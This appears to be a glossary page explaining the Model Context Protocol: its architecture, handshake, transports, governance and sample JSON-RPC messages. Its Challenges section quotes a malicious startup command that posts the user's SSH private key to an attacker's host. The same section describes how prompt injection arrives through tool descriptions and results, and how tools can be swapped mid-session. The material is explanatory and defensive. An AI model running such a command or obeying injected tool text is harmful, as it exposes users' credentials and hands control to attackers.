Model Context Protocol (MCP)

An open standard that connects any AI app to any tool over one JSON-RPC interface, turning M clients x N tools from M x N custom connectors into M + N.

Published Updated

On this page

Definition

The Model Context Protocol (MCP) is an open standard that lets any AI application reach any external tool or data source through one interface, so a connector written once works in every client that speaks it. An MCP server is the concrete unit: a program that advertises a list of named operations — each with a JSON Schema describing its arguments — and answers requests to run them over JSON-RPC 2.0.

The argument for a protocol here is arithmetic, which is why it has not aged. Before one existed, every AI client needed a bespoke integration with every system: 6 clients wanting to reach 20 systems meant 6 × 20 = 120 separate connectors, each written, tested and maintained by somebody. A shared protocol turns that product into a sum — 6 client implementations plus 20 servers is 26 pieces of code, a 4.6× reduction. And the saving grows with the catalogue, because M×N ÷ (M+N) tends toward M as N gets large. Anthropic reported more than 10,000 active public MCP servers one year after launch; six major clients against 10,000 systems would be 60,000 hand-built connectors the old way, versus 10,006 with a protocol — very nearly the six-fold saving the limit predicts.

MCP was open-sourced by Anthropic on 25 November 2024, created there by David Soria Parra and Justin Spahr-Summers, and donated to the Agentic AI Foundation under the Linux Foundation on 9 December 2025. It is not a feature of one model and not a vendor API. It is a versioned specification with a published TypeScript schema; revisions are dated rather than numbered. The current released revision is 2025-11-25, though a much larger successor, 2026-07-28, was in release candidate as of July 2026.

How It Works

MCP names three roles, and confusing them is the most common way to misread the architecture. The host is the AI application the user sits in front of — Claude Desktop, Claude Code, Cursor, VS Code. Inside the host runs one client per connection, each holding exactly one session with one server. So a user with five MCP servers configured has one host, five clients and five servers. The specification takes its cue from the Language Server Protocol, which did the same thing for editors and programming languages.

Every message is JSON-RPC 2.0, UTF-8 encoded, over a stateful session. Nothing may be used before it has been agreed, which is the job of the opening handshake.

The initialize handshake

The client must open with an initialize request carrying the protocol version it wants, its own capabilities, and its implementation name and version. The server must reply with a version and its own capabilities, and the client then sends a notifications/initialized notification before normal traffic begins. Version negotiation is deliberately blunt: if the server supports the requested date-stamped revision it must echo it back; otherwise it replies with the latest one it does support, and a client that cannot speak that should disconnect. Over HTTP the negotiated version has to ride on every subsequent request as an MCP-Protocol-Version header — and if a server never sees that header, the spec tells it to assume 2025-03-26, which is a small piece of archaeology baked permanently into the standard.

Capability negotiation is what makes the protocol survivable across versions. A server declares which of tools, resources, prompts, logging, completions and tasks it offers; a client declares roots, sampling, elicitation and tasks. Sub-capabilities refine that — listChanged says the party will notify when its list changes, and subscribe (resources only) says individual items can be watched. Both sides must then use only what was negotiated, so an old client and a new server can talk without either pretending to be the other.

Three primitives, distinguished by who is in control

A server can offer three kinds of thing, and the useful way to tell them apart is not what they contain but who decides to use them.

  • Tools are model-controlled. tools/list returns each tool's name, human-readable description and inputSchema — a JSON Schema (dialect 2020-12 by default) for the arguments. The model picks one; the client sends tools/call with a name and arguments; the server returns content blocks that may be text, images, audio, links to resources or embedded resources, plus optional structuredContent validated against an outputSchema.
  • Resources are application-driven. Each is identified by a URI — file://, git://, https:// or a custom scheme — and the host decides what to pull into context. resources/list enumerates them, resources/read fetches contents, and where the server supports it, resources/subscribe plus a notifications/resources/updated message keeps a watched file current.
  • Prompts are user-controlled. prompts/list and prompts/get return a ready-made message array with the user's arguments filled in. Hosts typically surface them as slash commands, which is why they feel like a feature of the app rather than of the server.

The connection is not one-way. A server may call back into the client: sampling asks the host's model for a completion, roots asks which filesystem boundaries the server is allowed to work within, and elicitation asks the user a question in the middle of a tool call. Only clients that declared those capabilities receive such requests.

Two transports

With stdio, the client launches the server as a child process and they exchange newline-delimited JSON on stdin and stdout. Messages must not contain embedded newlines, and the server must not write anything to stdout that is not a valid MCP message — which is why a stray print() left in a Python server breaks the session outright, while stderr remains free for logging. Clients should support stdio whenever possible.

With Streamable HTTP, the server is an independent process exposing one endpoint that accepts both POST and GET. A POST carries a single JSON-RPC message; the server answers either with application/json or by opening a Server-Sent Events stream, and the client must handle both. A GET opens a stream for server-initiated messages. Servers may issue an MCP-Session-Id header at initialization, after which the client must return it on every request, and a broken stream can be resumed by re-issuing the GET with Last-Event-ID. This transport replaced the HTTP+SSE design of the original 2024-11-05 revision. Custom transports are permitted provided they preserve the JSON-RPC message format and the lifecycle.

Errors arrive on two channels, and the split matters for how AI agents recover. Protocol errors are standard JSON-RPC failures — -32602 for an unknown tool or malformed request, -32002 for a resource that does not exist, -32603 for an internal fault. Tool execution errors are ordinary successful responses carrying isError: true and an explanatory message. The 2025-11-25 revision clarified that input-validation failures belong in the second category precisely so the model can read the complaint and retry with better arguments.

Real-World Applications

The reference implementation repository ships seven servers that exist mainly to be read: filesystem, git, fetch, memory, sequentialthinking, time and everything — the last being a test server that exercises every feature of the protocol at once. They are the fastest way to see how small a working server is.

The best-known production example is GitHub's own MCP server, which the company maintains and also hosts as a remote endpoint at api.githubcopilot.com/mcp. It exposes roughly 90 tools grouped into 21 toolsets — repositories, issues, pull requests, Actions, code scanning, Dependabot, discussions, projects and more — and lets an operator enable only the groups they need. Sentry publishes a server for querying issues and traces; Cloudflare maintains a set for its platform. An official registry at registry.modelcontextprotocol.io exists so clients can discover servers rather than trade config snippets.

On the client side, Anthropic's December 2025 announcement lists MCP support in ChatGPT, Cursor, Gemini, Microsoft Copilot and Visual Studio Code alongside Claude, and notes that Claude's own connector directory then held over 75 connectors, all powered by MCP. At launch a year earlier the named adopters were Block and Apollo, with Zed, Replit, Codeium and Sourcegraph building on it in developer tools; the pre-built servers shipped that day covered Google Drive, Slack, GitHub, Git, Postgres and Puppeteer. That trajectory — from six demo connectors to a five-figure public catalogue — is the practical case for standardising the interface rather than the integrations.

Key Concepts

  • Roles are not interchangeable: a single host runs one client per connection, each owning exactly one server session. "MCP client" is not a synonym for "the app"; it is the connector inside it.
  • Capability negotiation: the handshake decides what exists for this session. A feature that was not declared cannot be used, which is how a 2025-03-26 client and a 2025-11-25 server still hold a conversation.
  • Dated revisions: 2024-11-05, 2025-03-26, 2025-06-18, 2025-11-25. There is no semantic version, so "MCP 1.0" is not a thing and a claim about "the latest MCP" needs a date to be checkable.
  • Model-controlled versus user-controlled: tools are chosen by the model, prompts by the person, resources by the application. Reading a server's surface through that lens tells you who can trigger what.
  • Not a REST API: both transports carry a stateful session beginning at initialize. That is what makes listChanged notifications and subscriptions possible, and also what makes serverless deployment awkward.

Challenges

The most important thing to understand about MCP is what it does not do: it standardises connection, not trust. The specification says so directly — MCP cannot enforce its security principles at the protocol level, and every safeguard is left to the implementor. That single sentence is the source of nearly every problem below.

A tool description is untrusted text with a direct line into the model's context. tools/list returns prose written by whoever wrote the server, and the client hands that prose to the model as instructions about what the tool does. Nothing in the protocol verifies that the description matches the behaviour, which is why the spec requires clients to treat tool annotations as untrusted unless the server itself is trusted. Worse, a server that declared listChanged can push notifications/tools/list_changed mid-session and swap its tool set — so the tools a user approved at connect time are not necessarily the tools running an hour later.

Returned content is untrusted in the same way, and there is more of it — this is prompt injection arriving through the tool layer. A resources/read on a repository file, or a tool result summarising a bug report, drops text written by strangers into the context window next to the user's instructions. The protocol faithfully carries the bytes; it has no mechanism for labelling them as data rather than instruction. This is ordinary indirect prompt injection, and MCP widens the aperture by making it trivial to connect more sources.

Permissions are usually far broader than the task. The spec's own guidance on scope minimisation describes the failure precisely: a server publishes every scope it might ever want in scopes_supported, the client requests them all at connect time, and a token carrying files:*, db:* and admin:* is now sitting in a log or a config file. The fix — a minimal baseline scope with incremental elevation via WWW-Authenticate challenges — is in the standard, but nothing forces anyone to implement it. Two related anti-patterns are explicitly forbidden: servers must not accept tokens that were not issued for them (token passthrough), and proxy servers must implement their own per-client consent or they become a confused deputy, handing an attacker's dynamically registered client a valid authorization code because a consent cookie from an earlier, legitimate session skipped the prompt.

A local server is a program running as you. stdio servers are binaries launched on the user's machine with the client's privileges. The specification illustrates the risk with a startup command that quietly does curl -X POST -d @~/.ssh/id_rsa to an attacker's host, and requires one-click install flows to show the exact command, untruncated, before executing it. Local HTTP servers add DNS rebinding: unless the server validates the Origin header, answers a bad one with 403, and binds to 127.0.0.1 rather than 0.0.0.0, a web page you visit can talk to it.

Tool definitions are not free. Every tool's name, description and JSON Schema occupies the context window before the user has typed anything. GitHub's server alone carries about 90 tools, and its documentation recommends enabling only the toolsets you need specifically to help tool choice and reduce context size. Connect four servers of that size and several hundred schemas are competing for the model's attention, which degrades selection accuracy and costs tokens on every turn. Anthropic shipped Tool Search and Programmatic Tool Calling in its API for exactly this problem.

The spec moves. Four dated revisions shipped between November 2024 and November 2025, and one of them replaced the HTTP transport outright. The pace is not fixed: the next revision, 2026-07-28, came roughly eight months after 2025-11-25 and was still a release candidate as of July 2026 — but it is the largest change since launch, removing the initialize handshake and the per-connection session model that the rest of this page describes. That churn is the price of a young standard, and it lands on server authors as maintenance.

Set against the alternatives the glossary already documents, the trade is clear enough. Function calling alone is safer because the tool list is compiled into your application and cannot change underneath you — but it gives you no discovery, no reuse across clients, and a fresh integration per model vendor. A plain API has neither a uniform description of what is callable nor a convention for returning model-ready content. And MCP is not a competitor to Agent2Agent — which since absorbing IBM's Agent Communication Protocol in August 2025 is the one agent-to-agent standard: it connects autonomous agents to each other, where MCP connects one agent to its tools, and a fuller comparison is here.

Neutral governance is now the fact on the ground. The December 2025 donation put MCP under the Agentic AI Foundation, a directed fund of the Linux Foundation co-founded by Anthropic, Block and OpenAI with support from Google, Microsoft, AWS, Cloudflare and Bloomberg. The maintainers and the community SEP process carry on unchanged; what changed is that no single vendor can now move the specification alone. For anyone deciding whether to build on it, that is the substantive difference between MCP and a vendor plugin format.

Authorization is where the specification is spending its effort. The 2025-11-25 revision added OpenID Connect Discovery for finding the authorization server, incremental scope consent through WWW-Authenticate challenges, OAuth Client ID Metadata Documents as the recommended registration mechanism, and alignment with RFC 9728 for protected-resource metadata. Read as a group, these are all steps toward least privilege by default rather than a broad token granted at connect time.

Long-running work is being made first-class. The same revision introduced experimental tasks: durable requests that a client can poll, with results retrieved later. Support is negotiated per tool through an execution.taskSupport field whose values are forbidden (the default), optional or required. This matters for tools that take minutes rather than milliseconds — builds, migrations, deep research — which currently sit awkwardly inside a request timeout.

Servers are gaining agency. Sampling now accepts tools and toolChoice parameters, meaning a server can ask the host's model to make tool calls on its behalf. Combined with elicitation, that turns a server from a passive endpoint into something closer to a participant, and pushes MCP toward the territory of multi-agent systems and agentic workflows.

Scale is the live engineering problem. With a five-figure public catalogue and enterprises running dozens of servers, discovery and tool-count management have replaced basic connectivity as the hard part — hence the official registry, the toolset flags, and the server-side tool-search features appearing in model APIs.

Code Example

What actually goes over the wire is short enough to read. Every example below is taken from the 2025-11-25 specification. The client opens by declaring the revision it wants and what it can do:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "initialize",
  "params": {
    "protocolVersion": "2025-11-25",
    "capabilities": {
      "roots": { "listChanged": true },
      "sampling": {}
    },
    "clientInfo": {
      "name": "ExampleClient",
      "version": "1.0.0"
    }
  }
}

The server answers with the same shape, listing what it offers. Here it has tools, prompts and subscribable resources, and it can emit log messages:

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "protocolVersion": "2025-11-25",
    "capabilities": {
      "logging": {},
      "prompts": { "listChanged": true },
      "resources": { "subscribe": true, "listChanged": true },
      "tools": { "listChanged": true }
    },
    "serverInfo": {
      "name": "ExampleServer",
      "version": "1.0.0"
    },
    "instructions": "Optional instructions for the client"
  }
}

The client confirms with a notification, which has no id because no reply is expected:

{
  "jsonrpc": "2.0",
  "method": "notifications/initialized"
}

Only now can it ask what the server can do. A tools/list response is the tool definition the model will actually see — a name, a description in plain English, and a JSON Schema for the arguments:

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "tools": [
      {
        "name": "get_weather",
        "title": "Weather Information Provider",
        "description": "Get current weather information for a location",
        "inputSchema": {
          "type": "object",
          "properties": {
            "location": {
              "type": "string",
              "description": "City name or zip code"
            }
          },
          "required": ["location"]
        }
      }
    ]
  }
}

Invocation is one more message each way. Note that the result is a list of content blocks rather than a bare value, because a tool may return text, an image and a link to a resource in the same response:

{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "get_weather",
    "arguments": { "location": "New York" }
  }
}
{
  "jsonrpc": "2.0",
  "id": 3,
  "result": {
    "content": [
      {
        "type": "text",
        "text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy"
      }
    ],
    "isError": false
  }
}

That is the whole protocol in miniature: negotiate, discover, call. Everything else — resources, prompts, sampling, sessions, OAuth — is more messages of the same form. If a server of your own refuses to get past the handshake, the MCP connection checklist walks through the usual causes.

Frequently Asked Questions

An MCP server is a program that exposes capabilities to an AI application over the Model Context Protocol. It answers tools/list with a set of named operations and their JSON Schemas, runs them when the client sends tools/call, and can also expose URI-addressed resources and reusable prompt templates. It can be a local script the client launches as a subprocess, or a remote HTTP endpoint like GitHub's.
They operate at different layers and are used together. Function calling is the model-side mechanism: the model emits a structured call against a schema you supplied. MCP is the layer that supplies that schema — it discovers tools at runtime from a separate process, so the same server works with every client. With plain function calling the tool list is compiled into your application; with MCP it arrives over the wire from code you may not have written.
Three things, distinguished by who is in control. Tools are model-controlled: the model decides to call them. Resources are application-driven: the host decides what URI-addressed data to pull into context. Prompts are user-controlled: the person picks them, typically as a slash command. A server declares which of the three it supports during the initialize handshake and may offer any combination.
MCP standardises connection, not trust. The specification states plainly that it cannot enforce its security principles at the protocol level. A tool description is untrusted text that reaches the model's context, tool results can carry prompt injection from third-party content, and a local server runs with your own privileges. Consent prompts, sandboxing and least-privilege scopes are the host application's responsibility, not the protocol's.
Anthropic donated MCP to the Agentic AI Foundation, a directed fund under the Linux Foundation, on 9 December 2025. The foundation was co-founded by Anthropic, Block and OpenAI with support from Google, Microsoft, AWS, Cloudflare and Bloomberg. The maintainer structure is unchanged and protocol changes still go through the community SEP process.
Two are standardised. With stdio, the client launches the server as a subprocess and exchanges newline-delimited JSON over stdin and stdout. With Streamable HTTP, the server is an independent process behind a single endpoint that handles POST and GET, optionally streaming replies as Server-Sent Events. Clients should support stdio whenever possible; custom transports are allowed as long as they preserve the JSON-RPC message format.

Continue Learning

Explore our use-case guides and prompts to deepen your AI knowledge.